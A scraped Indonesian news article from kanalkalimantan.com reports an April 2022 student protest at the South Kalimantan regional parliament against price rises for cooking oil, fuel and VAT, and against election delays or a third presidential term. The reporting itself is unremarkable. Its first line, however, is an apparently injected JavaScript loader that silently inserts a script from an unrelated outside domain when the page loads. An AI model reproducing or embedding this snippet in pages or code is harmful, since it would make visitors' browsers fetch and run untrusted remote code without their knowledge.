(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ratusan mahasiswa yang tergabung aliansi Badan Eksekutif Mahasiswa (BEM) Seluruh Kalsel dan sejumlah elemen masyarakat, melakukan demo menolak kenaikan minyak goreng, BBM, PPN, hingga penundaan pemilu dan 3 periode presiden, pada Kamis (14/4/2022).
Di depan kantor DPRD Kalimantan Selatan, tepatnya di Jalan Lambung Mangkurat, aksi gabungan mahasiswa ULM, UIN, UMB, UNIKSA dan lembaga masyarakat lain di pimpin oleh Koordinator Aksi dari BEM Se Kalsel, Alfiannur dan Habibie, serta Ketua BEM Universitas Lambung Mangkurat (ULM) Muhammad Ardhi Faddakiri.
Alfi mengatakan, tuntutan untuk menurunkan dan menstabilkan harga BBM pada aksi gabungan itu merupakan satu dari empat tuntutan yang disampaikan massa pada point Tuntutan Bahan Pangan dan Pokok.
Tuntutan lain pada point pertama tersebut juga meminta DPRD Kalsel mengirimkan surat tuntutan kepada DPR RI tentang kelangkaan minyak goreng agar kembali seperti semula, memfasilitasi sidang rakyat dengan menghadirkan stakeholder, dan menolak kenaikan PPN dari 10% menjadi 11%.
Baca juga : Bupati Zairullah Tarawih Bersama Warga Tanete
Pengunjuk rasa ditemui HM Rosehan NB SH, anggota Fraksi PDIP.
Saat pertama kali berdiri di depan massa, dirinya mengatakan bahwa anggota dewan sedang tidak berada di kantor karena kunjungan dinas ke Surabaya.
Sontak hal itu membuat ratusan mahasiswa kesal dan saling meneriakkan protes mereka soal penegakkan keadilan. Namun tak berlangsung lama suasana kembali kondusif dengan penyampaian sikap yaitu mereka meminta digelar sidang rakyat dengan menghadirkan para stakeholder yang terkait.
“Kami BEM Se Kalsel dan aliansi yang tergabung hari ini menyatakan sikap, pertama: menolak adanya jabatan presiden menjadi 3 periode dan wacana penundaan pemilu,” tegas Habibie, Ketua BEM Uniska.
Dilanjutkan Habibie, berdasarkan tuntutan di atas mereka menuntut pemerintah khususnya pihak terkait diwajibkan untuk mengkaji ulang dan merevisi dengan segera mungkin terkait regulasi yang berlaku, guna menguatkan hukum serta kebijakan mengenai berbagai permasalahan yang berdampak bagi pada kehidupan sosial ekonomi masyarakat khususnya Kalsel.
Baca juga : JPO Banjarbaru Dibangun Mei 2022, Pemko Siapkan Rp8 Miliar untuk Dua Lokasi
“Berdasarkan tuntutan di atas adapun point kedua pemerintah wajib melakukan sebuah pengkajian serta memberikan solusi konkret terhadap permasalahan yang dialami masyarakat saat ini, terlebih pemulihan ekonomi dan harga bahan pokok baik itu pangan, energi dan sebagainya,” lanjutnya.
Berdasarkan tuntutan itu juga pemerintah wajib mendukung upaya yang dilakukan berbagai pihak sebagai asas keterbukaan melalui sidang rakyat bersama stake holder se Kalsel.
“Keempat, Pemerintah wajib menjalankan konstitusi UUD 1945 dengan tidak melontarkan statement ataupun wacana penundaan pemilu dan wacana 3 periode yang menyalahi amanat konstitusi, serta menyatakan sikap tegas menolak hal tersebut untuk dilakukan,” lanjutnya.
Kelima meminta DPRD Kalsel untuk menindak lanjuti abstrak BEM Se Kalsel dengan membuatkan bukti tertulis ‘hitam di atas putih’, serta didokumentasikan. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
This website uses cookies.